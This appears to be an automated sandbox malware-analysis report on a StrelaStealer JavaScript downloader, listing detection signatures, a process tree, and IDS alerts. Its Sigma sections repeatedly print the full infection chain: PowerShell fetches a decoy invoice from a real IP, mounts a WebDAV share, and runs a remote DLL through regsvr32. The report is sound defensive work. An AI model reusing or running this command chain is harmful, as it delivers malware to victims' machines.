Edit tour

Windows Analysis Report
82691949257725140.js

Overview

General Information

Sample name:	82691949257725140.js
Analysis ID:	1588385
MD5:	5d9f888f4d23ce935f287142c2ad6742
SHA1:	d293dc8971f548e822507e0342496976e34e49e6
SHA256:	67d546a2438d5224268f348e7a33b2def66d7d11836ee06d68f6739ca1faa0a2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2696 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1532 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6048 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,14722567779740608170,7323724890790483310,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6420 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1848 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6504 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2696	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6048, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6048, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ProcessId: 2696, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1848, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 1532, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 1532, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 1532, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 1532, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 1532, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ProcessId: 2696, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6048, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6420, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1848, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6504, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6420, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1848, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2696, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll, ProcessId: 1532, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:44:58.518278+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:45:01.017398+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:44:58.518278+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 82691949257725140.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 82691949257725140.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 82691949257725140.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:44:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

